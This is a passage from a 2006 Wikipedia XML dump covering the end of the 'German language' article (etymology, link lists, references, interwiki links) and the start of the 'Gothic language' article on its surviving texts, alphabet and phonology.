A possible explanation for the use of &quot;mute&quot; to refer to German (and also to Germans) in Slavic languages is that Germans were the first people Slavic tribes encountered, with whom they could not communicate. The corresponding experience for the Germans was with the [[Volcae]], whose name they subsequently also applied to the Slavs, see [[etymology of Vlach]]. 

[[Hebrew language|Hebrew]] traditionally (nowadays this is not the case) used the Biblical term [[Ashkenaz]] (Genesis 10.3) to refer to Germany, or to certain parts of it, and the [[Ashkenazi]] Jews are those who originate from Germany and Eastern Europe and formerly spoke [[Yiddish]] as their native language, derived from [[Middle High German]].

==See also==
* [[Umlaut]], [[ß]]
* [[German spelling reform of 1996]]
* [[Germish]]
* [[German family name etymology]]
* [[German placename etymology]]
* [[Ethnic German]]
* [[German as a Minority Language]]
* [[List of German proverbs]]
* [[Common phrases in various languages]]
* [[List of German expressions in English]]
* [[List of German words and phrases]]

==External links==
{{InterWiki|code=de}}
{{Wikibooks|German}}
*[http://forum.wordreference.com/forumdisplay.php?f=18 WordReference - German language forum]
*{{about.com|topic=German}}
* [http://www.declan-software.com/german German language learning audio software]
* [http://learno.com/german Online Learno german course] Free online German tutorial at Learno.com
*[http://www.medienhilfe.org Weltverband Deutschsprachiger Medien] - Federation of Media in German and Yiddish language worldwide  
* [http://www.washjeff.edu/capl/ Culturally Authentic Pictorial Lexicon] Free online visual lexicon of the German language with authentic photos from German speaking world. 
* [http://www.sprachtausch.net Sprachtausch.net] — German website to find someone to teach you, for example German in exchange with your language.
* [http://www.ethnologue.com/show_language.asp?code=deu Ethnologue report for German]
* [http://www.travlang.com/languages/german/ihgg/ Internet Handbook of German Grammar] 
* [http://www.lsa.umich.edu/german/hmr/ German resources] at the University of Michigan
* [http://german.languages4everyone.com Learn German Online] with this internet German course for beginners
* [http://www.dw-world.de/dw/0,1595,2469,00.html Deutsche Welle's Online German Courses]
* [http://www.videolexikon.com 450 free Lectures in German language]
* [http://www.eslbase.com/language-exchange/ Practise German with a language exchange]
* [http://www.applelanguages.com/en/learn/german.php German courses in Germany]
* A beginning [http://wikibooks.org/wiki/German German Language Textbook] under development at [http://wikibooks.org/ Wikibooks]
* [http://www.diwa.info/ Digital Wenker-Atlas] Project publishing the 19th century ''Linguistic Atlas of the German Empire''
* [http://language-directory.50webs.com/languages/german.htm List of online German-related resources]
* [http://eserver.org/langs/the-awful-german-language.txt That awful German language]  — A humourous essay by [[Mark Twain]]
* [http://how-to-learn-any-language.com/e/languages/german/index.html Why learn German? A German language profile]
* [http://www.vistawide.com/german/why_german.htm Why learn German?] — 12 reasons to learn German
* [http://www.andaman.org/book/reprints/weber/rep-weber.htm George Weber: The World's 10 most influential languages]
* [http://www.actilingua.com/german_courses/german_language.php Short summary on German language and varieties with a map!]
* [http://www.ielanguages.com/German.html Free German Language Tutorial from ielanguages.com]
* [http://www.passwort-deutsch.de/ Passwort Deutsch] - A German course
* [http://german.mysite.de Learn about the German language]
* [http://www.deutsch-lernen.com/ Learn German Online] containing free courses
* [http://www.loecsen.com/travel/discover_pop.php?lang=en&amp;to_lang=1&amp;learn-German/ Learn and listen to useful expressions in German] Each expression is presented with an audio recording and an illustration
* [http://www.expatica.com/source/site_content_subchannel.asp?subchannel_id=37&amp;name=Germany+Education Articles on learning German] Also has a service whereby learners of German can send questions to a German teacher

===Dictionary and word translations===
* [http://dict.leo.org/ The LEO Online Dictionary] German-English-German dictionary at [[Leo.org]]
* [http://dict.tu-chemnitz.de/ TU Chemnitz Dictionary] a 185000+ German-English Dictionary with proverbs and pronunciations
* [http://www.dict.cc/ dict.cc: User-editable German-English-German Dictionary] works similar to Wikipedia, more than 840,000 keywords (420,000 translation pairs)
* [http://www.ilexer.org/ Ilexer.org] Ilexer: German-English-German Dictionary - main field textiles
* [http://odge.info/ Odge.info] uses dict.cc's data according to [http://odge.info/License/ license] page
* [http://www.canoo.net/index_en.html German Grammar, Online Dictionary for Spelling, Infection and Wordformation for the German Language]
* [http://www.geodic.de GEODic] German-English-Online-Dictionary
* [http://www.woerterbuch.info woerterbuch.info — Free English-German Online Dictionary] with over 600.000 translations
* [http://www.dwds.de The Digital Dictonary Project]in German - Dictionary, Corpus and Statistics
* http://www.dedict.de - English-German Online Dictionary
* http://www.spell-it.net - Free English-German Online Dictionary
* [http://german.typeit.org Type any text with German characters].

===Grammar===
* [http://www.wm.edu/modlang/gasmit/grammar/grammnu.html Grammar of German]
* [http://www.arts.uwaterloo.ca/~skidmore/grammarpage.htm German Grammar on the Web]
* [http://io.uwinnipeg.ca/~oberle/courses/review.html German Review Grammar]
* [http://www.cas.muohio.edu/~greal/netzgrammatik/grammar.html German Grammar Charts]

==References==
* Michael Clyne, ''The German Language in a Changing Europe'' (1995) ISBN 0521499704
* [[George Oliver Curme|George O. Curme]], ''[[A Grammar of the German Language]]'' (1904, 1922) — the most complete and authoritative work in English
* Anthony Fox, ''The Structure of German'' (2005) ISBN 0199273995
* W.B. Lockwood, ''German Today: The Advanced Learner's Guide'' (1987) ISBN 0198158505
* [http://www.uni-wuerzburg.de/germanistik/spr/suf/baydat-udi/pdf/Grob%FCbersicht%20Dialekte.pdf Dialect map of the German language area (in German)]

{{Official EU languages}}

[[Category:German language|German language]]
[[Category:Fusional languages]]
[[Category:High Germanic languages]]
[[Category:Languages of Austria]]
[[Category:Languages of Belgium]]
[[Category:Languages of Brazil]]
[[Category:Languages of Denmark]]
[[Category:Languages of France]]
[[Category:Languages of Germany]]
[[Category:Languages of Italy]]
[[Category:Languages of Liechtenstein]]
[[Category:Languages of Luxembourg]]
[[Category:Languages of Namibia]]
[[Category:Languages of Romania]]
[[Category:Languages of Switzerland]]

&lt;!-- interwiki --&gt;

{{Link FA|he}}

[[af:Duits (taal)]]
[[als:Deutsche Sprache]]
[[ang:Þēodisc sprǣc]]
[[ar:لغة ألمانية]]
[[ast:Alemán]]
[[be:Нямецкая мова]]
[[bs:Njemački jezik]]
[[br:Alamaneg]]
[[ca:Alemany]]
[[cs:Němčina]]
[[cy:Almaeneg]]
[[da:Tysk (sprog)]]
[[de:Deutsche Sprache]]
[[et:Saksa keel]]
[[el:Γερμανική γλώσσα]]
[[es:Idioma alemán]]
[[eo:Germana lingvo]]
[[eu:Alemaniera]]
[[fa:زبان آلمانی]]
[[fo:Týskt mál]]
[[fr:Allemand]]
[[ga:Gearmáinis]]
[[gl:Lingua alemá]]
[[ko:독일어]]
[[hr:Njemački jezik]]
[[io:Germaniana linguo]]
[[ilo:Pagsasao nga Aleman]]
[[id:Bahasa Jerman]]
[[ia:Lingua german]]
[[is:Þýska]]
[[it:Lingua tedesca]]
[[he:גרמנית]]
[[kw:Almaynek]]
[[la:Lingua Theodisca]]
[[lv:Vācu valoda]]
[[lt:Vokiečių kalba]]
[[lb:Däitsch]]
[[li:Duits]]
[[ln:Lialémani]]
[[hu:Német nyelv]]
[[mk:Германски јазик]]
[[ms:Bahasa Jerman]]
[[nl:Duits]]
[[nds:Düütsche Spraak]]
[[ja:ドイツ語]]
[[no:Tysk språk]]
[[nn:Tysk språk]]
[[oc:Alemand]]
[[pl:Język niemiecki]]
[[pt:Língua alemã]]
[[ro:Limba germană]]
[[rm:Lingua tudestga]]
[[ru:Немецкий язык]]
[[se:Duiskkagiella]]
[[simple:German language]]
[[sk:Nemčina]]
[[sl:Nemščina]]
[[sr:Немачки језик]]
[[fi:Saksan kieli]]
[[sv:Tyska]]
[[tl:Wikang Aleman]]
[[tt:Alman tele]]
[[th:ภาษาเยอรมัน]]
[[vi:Tiếng Đức]]
[[tr:Almanca]]
[[zh:德语]]</text>
    </revision>
  </page>
  <page>
    <title>Gothic language</title>
    <id>11885</id>
    <revision>
      <id>41229752</id>
      <timestamp>2006-02-25T23:02:18Z</timestamp>
      <contributor>
        <username>Alexander 007</username>
        <id>493689</id>
      </contributor>
      <minor />
      <comment>/* See also */ fix link</comment>
      <text xml:space="preserve">:''Note, this article contains special characters.  You may need to install a [[:got:Wikipedia:Gothic Unicode Fonts|Gothic Unicode Font]].''
{{Infobox Language
|name=Gothic
|nativename=*𐌲𐌿𐍄𐌹𐍃𐌺 ''Gutisk''
|pronunciation=/ˈɡuˌtʰisk/
|region=throughout mainland [[Europe]]
|extinct=by [[10th century]]
|familycolor=Indo-European
|fam2=[[Germanic languages|Germanic]]
|fam3=[[East Germanic languages|East Germanic]]
|script=[[Gothic alphabet]]
|iso2=got|iso3=got}}

The '''Gothic  language''' (''*gutiska razda'', *𐌲𐌿𐍄𐌹𐍃𐌺𐌰 𐍂𐌰𐌶𐌳𐌰) is an extinct [[Germanic language]] that was spoken by the [[Goths]] and specifically by the [[Visigoth]]s.  It is known primarily through a translation of the [[Bible]] dating from the [[4th century]], and is the only [[East Germanic language]] with a sizeable corpus.  All others, including [[Burgundian]] and [[Vandalic language|Vandalic]], are known, if at all, only from proper names that survived in historical accounts. 

As a Germanic language, Gothic is a part of the [[Indo-European language]] family.  It is the Germanic language with the earliest attestation, but it has no modern descendants.  The oldest documents in Gothic date back to the [[4th century]].  The language was in decline by the mid-[[6th century]], due in part to the military defeat of the Goths at the hands of the [[Franks]], the elimination of the Goths in Italy, massive conversion to primarily Latin-speaking Roman Catholicism, and geographic isolation.  The language survived in the [[Iberian peninsula]] (modern [[Spain]] and [[Portugal]]) as late as the [[8th century]], and [[Franks|Frankish]] author [[Walafrid Strabo]] wrote that it was still spoken in the lower [[Danube]] area and in isolated mountain regions in [[Crimea]] in the early [[9th century]] (see [[Crimean Gothic]]). Gothic-seeming terms found in later (post-9th century) manuscripts may not belong to the same language.  

The existence of such early attested corpora makes it a language of considerable interest in [[comparative linguistics]].

The native name for the language is unattested, and the reconstruction ''*gutiska razda'' is based on [[Jordanes]]' ''[[Gothiskandza]]'', read as ''gutisk-andja'', &quot;gothic end (or border)&quot;. ''razda'' &quot;speech&quot; is attested, e. g.  in [[Gospel of Matthew|Matthew]] 26:73 [http://www.wulfila.be/gothic/browse/token/?ID=T3635].

''Words in Gothic written in this article are [[transliteration|transliterated]] into the [[Roman alphabet]] using the system described on the [[Gothic alphabet]] page.''

==Documents in Gothic==
[[Image:Ambrosianus.jpg|thumb|240px|leaf of the Codex Ambrosianus B]]

There are only a few surviving documents in Gothic, not enough to completely reconstruct the language.

* The largest body of surviving documentation consists of [[codices]] written and commissioned by the [[Arianism|Arian]] bishop [[Ulfilas]] (also known as ''Wulfila'', [[311]]-[[382]]), who was the leader of a community of [[Visigoths|Visigoth]] [[Christian]]s in the [[Roman Empire|Roman]] province of [[Moesia]] (modern [[Bulgaria]]).  He commissioned a translation of the [[Greek language|Greek]] [[Septuagint]] into the Gothic language, of which roughly three-quarters of the [[New Testament]] and some fragments of the [[Old Testament]] have survived.  
:*[[Codex Argenteus]] (and the '''Speyer fragment'''): 188 leaves. 
::The best preserved Gothic manuscript, the ''[[Codex Argenteus]]'', dates from the [[6th century]] and was preserved and transmitted by northern Italian [[Ostrogoths]].  It contains a large part of the four [[Gospel]]s.  Since it is a translation from Greek, the language of the ''Codex Argentus'' is replete with borrowed Greek words and Greek usages.  The syntax in particular is often copied directly from the Greek.
:*[[Codex Ambrosianus]] ([[Milan]]) (and the '''Codex Taurinensis'''): Five parts, totalling 193 leaves.
::The ''Codex Ambrosianus'' contains scattered passages from the New Testament (including parts of the [[Gospel]]s and the [[Epistle]]s), of the [[Old Testament]] ([[Book of Nehemiah|Nehemiah]]), and some commentaries known as ''[[Skeireins]]''.  It is therefore likely that the text had been somewhat modified by copyists.
:*[[Codex Gissensis]] ([[Gießen]]): 1 leaf, fragments of Luke 23-24. It was found in Egypt in 1907, but destroyed by water damage in 1945.
:*[[Codex Carolinus]]:  ([[Wolfenbüttel]]): 4 leaves, fragments of Romans 11-15. 
:*'''Codex Vaticanus Latinus 5750''':  3 leaves, pages 57/58, 59/60 and 61/62 of the [[Skeireins]].
* A scattering of old documents: alphabets, calendars, glosses found in a number of manuscripts and a few [[Runic]] inscriptions that are known to be or suspected to be Gothic. Some scholars believe that these inscriptions are not at all Gothic (see Braune/Ebbinghaus &quot;Gotische Grammatik&quot; Tübingen 1981)
*A few dozen terms compiled by [[Ogier de Busbecq]], a [[16th century]] [[Flanders|Flemish]] diplomat living in [[Crimea]] who listed them in his compilation ''Turkish Letters''.  These terms are from nearly a millennium later and are therefore not representative of the language of Ulfilas.  See [[Crimean Gothic]].

There have been unsubstantiated reports of the discovery of other parts of Ulfilas' bible. [[Heinrich May]] in [[1968]] claimed to have found in England 12 leaves of a [[palimpsest]] containing parts of the [[Gospel of Matthew]]. The claim was never substantiated.

Only fragments of the Gothic translation of the [[Bible]] have been preserved. The translation was apparently done in the [[Balkans]] region by people in close contact with Greek [[Christianity|Christian]] culture. It appears that the Gothic Bible was used by the [[Visigoths]] in [[Iberian peninsula|Iberia]] until circa 700 AD, and perhaps for a time in [[Italy]], the [[Balkans]] and what is now [[Ukraine]].  In exterminating [[Arianism|Arian]]ism, many texts in Gothic were probably expunged and overwritten as palimpsests, or collected and burned. Apart from Biblical texts, the only substantial Gothic document which still exists, and the only lengthy text known to have been composed originally in the Gothic language, is the &quot;[[Skeireins]]&quot;, a few pages of commentary on the [[Gospel of John]].

There are very few references to the Gothic language in secondary sources after about [[800]] AD, so perhaps it was rarely used by that date. In evaluating medieval texts that mention the [[Goths]], it must be noted that many writers used the word ''Goths'' to mean any Germanic people in eastern Europe, many of whom certainly did not use the Gothic language as known from the Gothic Bible. Some writers even referred to [[Slavic languages|Slavic]]-speaking people as Goths.

The relationship between the language of the [[Crimean Gothic|Crimean Goths]] and Ulfilas' Gothic is less clear. The few fragments of  their language from the [[16th century]] show significant differences from the language of the Gothic Bible, although some of the glosses, such as ''ada'' for &quot;egg&quot;, imply a common heritage.

Generally, the Gothic language refers to the language of [[Ulfilas]], but the attestations themselves are largely from the [[6th century]] - long after Ulfilas had died.  The above list is not exhaustive, and a more extensive list is available on the website of the [http://www.wulfila.be/gothic/manuscripts/ Wulfilas Project].

==Alphabet==
''See [[Gothic alphabet]].''

Ulfilas' Gothic, as well as that of the ''Skeireins'' and various other manuscripts, was written using an alphabet that was most likely invented by Ulfilas himself for his translation.  Some scholars (e.g. Braune) claim that it was derived from the [[Greek alphabet]] only, while others maintain that there are some Gothic letters of [[Runic]] or [[Latin]] origin.

This [[Gothic alphabet]] has nothing to do with [[Blackletter]] (also called ''Gothic script''), which was used to write the [[Roman alphabet]] from the [[12th century|12th]] to [[14th century|14th centuries]] and evolved into the [[Fraktur]] writing later used to write [[German language|German]].

==Phonetic and phonological system==
It is possible to determine more or less exactly how the Gothic of [[Ulfilas]] was pronounced, primarily through comparative phonetic reconstruction. Furthermore, because Ulfilas tried to follow the original Greek text as much as possible in his translation, we know that he used the same writing conventions as those of contemporary Greek. Since the Greek of that period is well documented, it is possible to reconstruct much of Gothic pronunciation from translated texts. In addition, the way in which non-Greek names are transcribed in the Greek Bible and in Ulfilas' Bible is very informative.

===Vowels===

{| border=&quot;0&quot; cellpadding=&quot;10&quot; cellspacing=&quot;10&quot;
|-----
| Monophthongs&lt;br /&gt;[[Image:Phon_gotique2.png]]
| Diphthongs&lt;br /&gt;[[Image:Phon_gotique3.png]]
|}

* {{IPA|[/a/]}}, {{IPA|[i]}} and {{IPA|[u]}} can be either long or short. Gothic writing distinguishes between long and short vowels only for {{IPA|[i]}} - writing ''i'' for the short form and ''ei'' for the long (a [[Digraph (orthography)|digraph]] or ''false diphthong''), in imitation of Greek usage (ει = [i:]). Single vowels are sometimes long where a historically present [[nasal consonant]] has been dropped in front of an {{IPA|[h]}} (a case of [[compensatory lengthening]]). Thus, the preterite of the verb ''briggan'' {{IPA|[briŋgan]}} &quot;to bring&quot; (English ''bring'', German ''bringen'') becomes ''brahta'' {{IPA|[bra:xta]}} (English ''brought'', German ''brachte''), from the [[proto-Germanic]] *''braŋk-dē''. In detailed [[transliteration]], where the intent is more [[phonetic transcription]], length is noted by a [[macron]] (or failing that, often a [[circumflex]]): ''brāhta'', ''brâhta''. {{IPA|[aː]}} is found often enough in other contexts: ''brūks'' &quot;useful&quot; (German ''Gebrauch'', Swedish ''bruk'' &quot;usage&quot;).
* {{IPA|[eː]}} and {{IPA|[oː]}} are long [[close-mid vowel]]s. They are written as ''e'' and ''o'': ''ne{{Unicode|ƕ}}'' {{IPA|[neːʍ]}} &quot;near&quot; (English ''nigh'', German ''nah''); ''fodjan'' {{IPA|[foːdjan]}} &quot;to feed&quot;.
* {{IPA|[ɛ]}} and {{IPA|[ɔ]}} are short [[open-mid vowel]]s. They are noted using the digraphs ''ai'' and ''au'': ''taihun'' {{IPA|[tɛhun]}} &quot;ten&quot; (German ''zehn''), ''dauhtar'' {{IPA|[dɔxtar]}} &quot;daughter&quot; (German ''Tochter''). In transliterating Gothic, accents are placed on the second vowel of these digraphs ''aí'' and ''aú'' to distinguish them from the original diphthongs ''ái'' and ''áu'': ''taíhun'', ''daúhtar''. In most cases short {{IPA|[ɛ]}} and {{IPA|[ɔ]}} are allophones of {{IPA|/i, u/}} before {{IPA|[r, h, ʍ]}}. Furthermore, the reduplication syllable of the reduplicating preterites has ''ai'' as well, which is probably pronounced as a short {{IPA|[ɛ]}}. Finally, short {{IPA|[ɛ]}} and {{IPA|[ɔ]}} occur in loan words from Greek and Latin (''aípiskaúpus'' {{IPA|[ɛpiskɔpus]}} = {{Polytonic|ἐπίσκοπος}} &quot;bishop&quot;, ''laíktjo'' {{IPA|[lɛktjoː]}} = ''lectio'' &quot;lection&quot;, ''Paúntius'' {{IPA|[pɔntius]}} = ''Pontius'').
* The Germanic [[diphthong]]s ''ai'' and ''au'' appear as ''ai'' and ''au'' in Gothic (normally written with an accent on the first vowel to distinguish them from ''ai, au'' &lt; Germanic ''i/e, u''). Some researchers suppose that they were still pronounced as diphthongs in Gothic, i.e. {{IPA|[ai]}} and {{IPA|[au]}}, whereas others think that they have become long [[open-mid vowel]]s, i.e. {{IPA|[ɛː]}} and {{IPA|[ɔː]}}: ''ains'' {{IPA|[ains] / [ɛːns]}} &quot;one&quot; (German ''eins''), ''augo'' {{IPA|[auγoː] / [ɔːγoː]}} &quot;eye&quot; (German ''Auge''). In Latin sources Gothic names with Germanic ''au'' are rendered with ''au'' until the 4th century and ''o'' later on (''Austrogoti'' &gt; ''Ostrogoti''). Long {IPA|[ɛː]}} and {{IPA|[ɔː]}} occur as allophons of {IPA|/eː}} and {IPA|/u:, oː/}} respectively before a following vowel: ''waian'' {{IPA|[wɛːan]}} &quot;to blow&quot; (German ''wehen''), ''bauan'' {{IPA|[bɔːan]}} &quot;to build&quot; (German &quot;bauen&quot;, Swedish ''bo'' &quot;live&quot;), also in Greek words ''Trauada'' &quot;Troad&quot; (Gk. {{Polytonic|Τρῳάς}}).
* {{IPA|[y]}} (pronounced like German ''ü'' and French ''u'' and similar to the ''ew'' in ''n'''ew''''') is a Greek sound used only in borrowed words. It is transliterated as ''w'' in vowel positions: ''azwmus'' {{IPA|[azymus]}} &quot;unleavened bread&quot; (&lt; Gk. {{polytonic|ἄζυμος}}). It represents an υ (y) or the diphthong οι (oi) in Greek, both of which were pronounced {{IPA|[y]}} in period Greek. Since the sound was foreign to Gothic, it was most perhaps pronounced {{IPA|[i]}}.
* {{IPA|[iu]}} is a descending [[diphthong]], i.e. {{IPA|[iu̯]}} and not {{IPA|[i̯u]}}: ''diups'' {{IPA|[diu̯ps]}} &quot;deep&quot; (German ''tief'', Swedish ''djup'').
* Greek diphthongs: In [[Ulfilas]]' era, all the diphthongs of classical Greek had become simple vowels in speech (''[[monophthong]]ization''), except for αυ (au) and ευ (eu), which were probably still pronounced as {{IPA|[aβ]}} and {{IPA|[ɛβ]}}. (They evolved into {{IPA|[av/af]}} and {{IPA|[ev/ef]}} in modern Greek.) Ulfilas notes them, in words borrowed from Greek, as ''aw'' and ''aiw'', probably pronounced {{IPA|[au, ɛu]}}: ''Pawlus'' {{IPA|[paulus]}} &quot;Paul&quot; (Gk. {{Polytonic|Παῦλος}}), ''aíwaggelista'' {{IPA|[ɛwaŋgeːlista]}} &quot;evangelist&quot; (Gk. {{Polytonic|εὐαγγελιστής}}, via the Latin ''evangelista'').
* Simple vowels and diphthongs (original and spurious ones) can be followed by a {{IPA|[w]}}, which was likely pronounced as the second element of a diphthong with roughly the sound of {{IPA|[u]}}. It seems likely that this is more of an instance of [[phonetic coalescence]] than of phonological diphthongs (such as, for example, the sound {{IPA|[aj]}} in the French word ''paille'' (&quot;straw&quot;), which is not the diphthong {{IPA|[ai]}} but rather a vowel followed by an [[approximant]]): ''alew'' {{IPA|[aleːw]}} &quot;olive oil&quot; (&lt; Latin ''oleum''), ''snáiws'' {{IPA|[snɛːws] }} (&quot;snow&quot;), ''lasiws'' {{IPA|[lasiws]}} &quot;tired&quot; (English ''lazy'').

===Consonants===
{| border=&quot;2&quot; cellpadding=&quot;5&quot; style=&quot;margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; text-align: center; font-size: 95%;&quot;
!&amp;nbsp;
!colspan=2|[[Labial]]s
!colspan=2|[[Dental]]s
!colspan=2|[[Alveolar]]s
!colspan=2|[[Palatal]]s
!colspan=2|[[Velar]]s
!colspan=2|[[Labiovelar]]s
![[Laryngeal]]s
|-
![[Plosive]]s
| ''p'' {{IPA|[p]}}
| ''b'' {{IPA|[b]}}
|colspan=2| &amp;nbsp;
| ''t'' {{IPA|[t]}}
| ''d'' {{IPA|[d]}}
|&amp;nbsp;
| ''?ddj'' {{IPA|[ɟ:]}}
| ''k'' {{IPA|[k]}}
| ''g'' {{IPA|[g]}}
| ''q'' {{IPA|[kʷ]}}
| ''gw'' {{IPA|[gʷ]}}
|&amp;nbsp;
|-
![[Fricative]]s
| ''f'' {{IPA|[ɸ, f]}}
| ''b'' {{IPA|[β]}}
| ''þ'' {{IPA|[s]}}
| ''d'' {{IPA|[z]}}
| ''þ'' {{IPA|[θ]}}
| ''d'' {{IPA|[ð]}}
|colspan=2|&amp;nbsp;
| ''g, h'' {{IPA|[x]}}
| ''g'' {{IPA|[ɣ]}}
| ''{{Unicode|ƕ}}'' {{IPA|[ʍ]}}
|&amp;nbsp;
| ''h'' {{IPA|[h]}}
|-
![[Approximant]]s
|colspan=2|&amp;nbsp;
|colspan=2| &amp;nbsp;
|colspan=2| &amp;nbsp;
|&amp;nbsp;
| ''j'' {{IPA|[j]}}
|colspan=2|&amp;nbsp;
|&amp;nbsp;
| ''w'' {{IPA|[w]}}
|&amp;nbsp;
|-
![[Nasal]]s
|&amp;nbsp;
| ''n'' {{IPA|[m]}}
|colspan=2| &amp;nbsp;
|&amp;nbsp;
| ''n'' {{IPA|[n]}}
|colspan=2|&amp;nbsp;
|&amp;nbsp;
| ''g, n'' {{IPA|[ŋ]}}
|colspan=2|&amp;nbsp;
|&amp;nbsp;
|-
![[Lateral approximant|Laterals]]
|colspan=2|&amp;nbsp;
|colspan=2| &amp;nbsp;
|&amp;nbsp;
| ''l'' {{IPA|[l]}}
|colspan=2|&amp;nbsp;
|colspan=2|&amp;nbsp;
|colspan=2|&amp;nbsp;
|&amp;nbsp;
|-
![[Trill]]s
|colspan=2|&amp;nbsp;
|colspan=2| &amp;nbsp;
|&amp;nbsp;
| ''r'' {{IPA|[r]}}
|colspan=2|&amp;nbsp;
|colspan=2|&amp;nbsp;
|colspan=2|&amp;nbsp;
|&amp;nbsp;
|}

In general, Gothic consonants are [[Final devoicing|devoiced]] at the ends of words. Gothic is rich in fricative consonants (although many of them may have been [[approximant]]s, it's hard to separate the two) derived by the processes described in [[Grimm's law]] and [[Verner's law]] and characteristic of [[Germanic languages]]. Gothic is unusual among Germanic languages in having a {{IPA|[z]}} phoneme which has not become {{IPA|[r]}} through [[R-colored vowel|rhotacization]]. Furthermore, the doubling of written consonants between vowels suggests that Gothic made distinctions between long and short, or [[Gemination|geminated]] consonants: ''atta'' {{IPA|[atːa]}} &quot;dad&quot;, ''kunnan'' {{IPA|[kunːan]}} &quot;to know&quot; (German ''können'' &quot;to be able&quot;, Swedish: ''kunna'').

====Stops====
* The voiceless stops {{IPA|[p]}}, {{IPA|[t]}} and {{IPA|[k]}} are regularly noted by ''p'', ''t'' and ''k'' respectively: ''paska'' {{IPA|[paska]}} (&quot;Easter&quot;, from the Greek {{Polytonic|πάσχα}}), ''tuggo'' {{IPA|[tuŋgoː]}} (&quot;tongue&quot;), ''kalbo'' {{IPA|[kalboː]}} (&quot;calf&quot;). The stops probably had (non-phonemic) aspiration like in most modern Germanic languages: {{IPA|[pʰ, tʰ, kʰ]}}.  Thus, the [[High German consonant shift]] seems to presuppose aspiration.
* The letter ''q'' is probably a voiceless [[labiovelar]] stop, {{IPA|[kʷ]}} ({{IPA|[kʷʰ]}}), comparable to the Latin ''qu'': ''qiman'' {{IPA|[kʷiman]}} &quot;to come&quot;. In the later Germanic languages this phoneme has become either a voiceless [[velar stop]] + a [[labio-velar approximant]] (English ''qu'') or a simple voiceless [[velar stop]] (English ''c, k'')
* The voiced stops {{IPA|[b]}}, {{IPA|[d]}} and {{IPA|[g]}} are noted by the letters ''b'', ''d'' and ''g''. To judge from the other Germanic languages, they were probably restricted to a word-initial position and the position after a the nasal; in other positions they had affricative allophones. In the end of a word and before a voiceless consonant, they were most likely also devoiced: ''blinds'' {{IPA|[blints]}} &quot;blind&quot;, ''lamb'' {{IPA|[lamp]}} &quot;lamb&quot;.
* There was probably also a voiced [[labiovelar]] stop, {{IPA|[gʷ]}}, which was written with the digraph ''gw''. It occurred after a nasal, e.g. ''saggws'' {{IPA|[saŋgʷs]}} &quot;song&quot;, or long as a regular outcome of Germanic *''ww'', e.g. ''triggws'' {{IPA|[trigʷːs]}} &quot;faithful&quot; (English ''true'', German ''treu'', Swedish ''trygg'').
* Similarly the letters ''ddj'', which is the regular outcome of Germanic *''jj'', may represent a voiced palatal stop, {{IPA|[ɟː]}}: ''waddjus'' {{IPA|[twaɟːe]}} &quot;wall&quot; (Swedish ''vägg''), ''twaddje'' {{IPA|[waɟːe:]}} &quot; two (genitive)&quot;.

====Fricatives====
* {{IPA|[s]}} and {{IPA|[z]}} are usually written ''s'' and ''z''. The latter corresponds to Germanic *''z'' (which has become ''r'' or silent in the other Germanic langauges); at the end of a word, it is regularly devoiced to ''s''. E.g. ''saíhs'' {{IPA|[sɛhs]}} &quot;six&quot;, ''máiza'' {{IPA|[mɛːza]}} &quot;greater&quot; (English ''more'', German ''mehr'') ~ ''máis'' {{IPA|[mɛːs]}} &quot;more, rather&quot;.
* {{IPA|[ɸ]}} and {{IPA|[θ]}}, written ''f'' and ''þ'', are voiceless bilabial and voiceless dental fricatives respectively. It is likely that the relatively unstable sound {{IPA|[ɸ]}} became {{IPA|[f]}}. ''f'' and ''þ'' are also derived from ''b'' and ''d'' at the ends of words, when they are devoices and become approximants: ''gif'' {{IPA|[giɸ]}} &quot;give (imperative)&quot; (infinitive ''giban'': German ''geben''), ''miþ'' {{IPA|[miθ]}} &quot;with&quot; ([[Old English language|Old English]] ''mid'', German ''mit'').
* {{IPA|[h]}} is written as ''h'': ''haban'' &quot;to have&quot; (German &quot;haben&quot;). It was probably pronounced {{IPA|[h]}} in word-final position as well (not {{IPA|[x]}}, since {{IPA|/g/}} &gt; {{IPA|[h]}} is written ''g'', not ''h''): ''jah'' {{IPA|[jah]}} &quot;and&quot; (German, Scandinavian ''ja'' &quot;yes&quot;). Before another consonant, it may have had the allophon {{IPA|[x]}}, given that all modern Germanic languages have {{IPA|[k]}} before {{IPA|/s/}} and German has {{IPA|[x]}} before {{IPA|[t]}} (the Scandinavian languages, on the other hand, have ''ht'' &gt; ''tt''): ''saíhs'' {{IPA|[sɛhs] / [sɛxs]}} &quot;six&quot; (German ''sechs'' {{IPA|[zɛks]}}, Swedish ''sex'' {{IPA|[sɛks]}}), ''ahtau'' {{IPA|[ahtɔː] / [axtɔː]}} &quot;eight&quot; (German ''acht'' {{IPA|[axt]}}, Swedish ''åtta'' {{IPA|[ɔtʰa]}}).
* {{IPA|[x]}} is an allophon of {{IPA|/g/}} at the end of a word or before an voiceless consonant; it is always written ''g'': ''dags'' {{IPA|[daxs]}} &quot;day&quot; (German ''Tag''). In some borrowed Greek words, we find the special letter ''x'', which represents the Greek letter χ (''ch''): ''Xristus'' {{IPA|[xristus]}} &quot;Christ&quot; (Gk. {{Polytonic|Χριστός}}). It may also have signified a {{IPA|[k]}}.
* {{IPA|[β]}}, {{IPA|[ð]}} and {{IPA|[γ]}} are voiced fricatives only found between vowels. They are [[allophones]] of {{IPA|[b]}}, {{IPA|[d]}} and {{IPA|[g]}} and are not distinguished from them in writing. {{IPA|[β]}} may have become {{IPA|[v]}}, a more stable labiodental form (a case of [[articulatory strengthening]]). In the study of Germanic languages, these phonemes are usually transcribed as ''{{Unicode|ƀ}}'', ''{{Unicode|đ}}'' and ''{{Unicode|ǥ}}'' respectively: ''haban'' {{IPA|[haβan]}} &quot;to have&quot;, ''þiuda'' {{IPA|[θiu̯ða]}} &quot;people&quot; (Old Norse ''þióð'', German ''Deutsch'' &gt; English ''Dutch''), ''áugo'' {{IPA|[auγoː]}} &quot;eye&quot; (English ''eye'', German ''Auge'').
* ''{{Unicode|ƕ}}'' (also transcribed ''hw'') is a [[Labiovelar consonant|labiovelar variant]] of {{IPA|[x]}} (derived from the proto-Indo-European {{PIE|kʷ}}). It probably was pronounced as {{IPA|[ʍ]}} (a voiceless {{IPA|[w]}}) as it is in many dialects of English, where it is always written as ''wh'': ''{{Unicode|ƕ}}an'' {{IPA|[ʍan]}} &quot;when&quot;, ''{{Unicode|ƕ}}ar'' {{IPA|[ʍar]}} &quot;where&quot;, ''{{Unicode|ƕ}}eits'' {{IPA|[ʍiːts]}} &quot;white&quot;.

====Nasals and approximants and other phonemes ====
